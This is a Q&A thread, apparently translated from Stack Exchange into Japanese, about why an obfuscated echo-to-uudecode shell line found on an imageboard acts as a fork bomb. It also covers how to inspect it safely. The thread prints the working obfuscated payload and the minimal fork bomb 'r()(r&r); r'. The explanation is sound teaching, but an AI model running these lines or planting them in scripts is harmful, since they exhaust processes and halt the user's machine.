shell – この文字列はどのように、そしてなぜフォーク爆弾なのですか?

encoding forking malware shell

ランダムチャンボードで発見

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

どういうわけか、これを実行すると、無限に産卵するプロセスが暴走してマシンを停止させてしまいます。su” が何度も実行されようとしているのが見えます

…それは奇妙です、私は何かの実行ではなく、テキストが出力されることを期待していたので

このテキストをオンラインデコーダで実行すると バイナリが噴出します

uudecode result

このごちゃごちゃしたテキストは実際に何をしているのか、「安全に」見る方法はあるのか?

  133  Mikey T.K.  2015-11-06


ベストアンサー

まずはコマンド全体を見てみましょう

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

これには、uudecodeにエコーされるダブルクォート文字列が含まれています。しかし、二重引用符で囲まれた文字列の中には、バッククォートされた文字列が含まれていることに注意してください。この文字列は実行されます。この文字列は

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

中身を見てみると、3つのコマンドがあります

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

中央のコマンドでブレース展開を行うと、我々は持っています

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

1行目はバックグラウンドで無意味なコマンドを実行しようとします。これは重要ではありません

二行目は重要です: これは関数 r を定義しています。それぞれのコピーは、もちろん、さらに2つのコピーを起動します。といった具合です

3行目はrを実行し、フォーク爆弾を開始します

バッククォートされた文字列以外の残りのコードは、難読化のためのナンセンスです

コマンドを安全に実行する方法

このコードは、関数の入れ子レベルの制限を設定しておけば安全に実行できます。これはbashの変数FUNCNESTで行うことができます。ここでは 2 に設定して、再帰を停止しています

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

上記のエラーメッセージは、(a)ナンセンスコマンド rYWdlY29j が見つからないこと、(b)フォーク爆弾は FUNCNEST によって繰り返し停止されること、(c) echo の出力は begin で始まらず、結果として uudecode の有効な入力ではないことを示しています

一番シンプルな形のフォーク爆弾

オブスキュレーションを除去した場合、フォーク爆弾はどのように見えるでしょうか?njzk2さんやgerritさんが提案しているように、次のようになります

echo "`r()(r&r);r`"

それをさらに単純化することができます

r()(r&r); r

それは2つのステートメントから構成されています:1つはフォーク爆弾関数rを定義し、2つ目はrを実行します

uudecodeへのパイプを含む他のすべてのコードは、不明瞭化と誤誘導のためだけに存在していました

元のフォームには、さらに別の層のミスディレクションがありました

OPは、a linkで、このコードが登場したchann board discussionへのリンクを提供しています。そこに提示されているように、コードは次のように見えました

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

このコードについての最初のコメントの一つに注目してください

私はそれに引っかかった。エコーとデコードする部分だけをコピーしたが、それでもフォークボムされた

channボードのフォームでは、問題はeval文がuudecodeの出力で動作していることではないかと素朴に考えるでしょう。これは、evalを削除すれば問題が解決すると考えることになります。上で見たように、これは誤りであり、危険です

196  John1024  2015-11-06


ご質問の第二部にお答えします

…それを「安全に」見る方法はありますか?

この文字列を回避するには、外側の二重引用符を一重引用符に置き換え、文字列内にある一重引用符をエスケープします。このようにすると、シェルは何もコードを実行せず、実際にはすべてを uudecode に直接渡すことになります

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

その他の代替案はコメントに記載されています

kasperd suggest 示唆された

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Jacob Krall は、テキストエディタを使って内容を貼り付け、そのファイルを uudecode に渡すことを提案しました

10  gerrit  2015-11-06


一見すると、シェルへの出力は実行されないと思うかもしれません。しかし、これはまだ本当のことです。問題はすでに入力にあります。ここでの主なトリックは、プログラマが 演算子の優先順位 と呼んでいるものです。これはシェルが入力を処理しようとする順番です

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})
5.                                                         ;
6.                                                          r
7.                    `                                      `
8.        I<RA('1E<W3t                                        26<F]F;==
9.  echo
10.                                                                      |
11.                                                                        uudecode
  1. その中にあるすべてのバックティックコマンドを実行して、文字列を合成します
  2. 通常は未知のコマンドで、次のような出力が発生します。 ‘rYWdl’ がタイプミスでない場合は、 command-not-found を使ってそれを含むパッケージを探すことができます … (システムに依存します)
  3. 2.をバックグラウンドで実行します。出力が表示されることはありません
  4. フォークボム関数を定義します
  5. Command separator.
  6. フォーク爆弾を実行します
  7. 6.の結果をStringに挿入します。(ここには絶対に来ない)

echoが最初に実行されるコマンドで、uudecodeが2番目に実行されると考えるのが間違いです。どちらにも到達することはありません

結論から言うと二重引用符はシェル上では常に危険です

5  Matthias Ronge  2015-11-11


タイトルとURLをコピーしました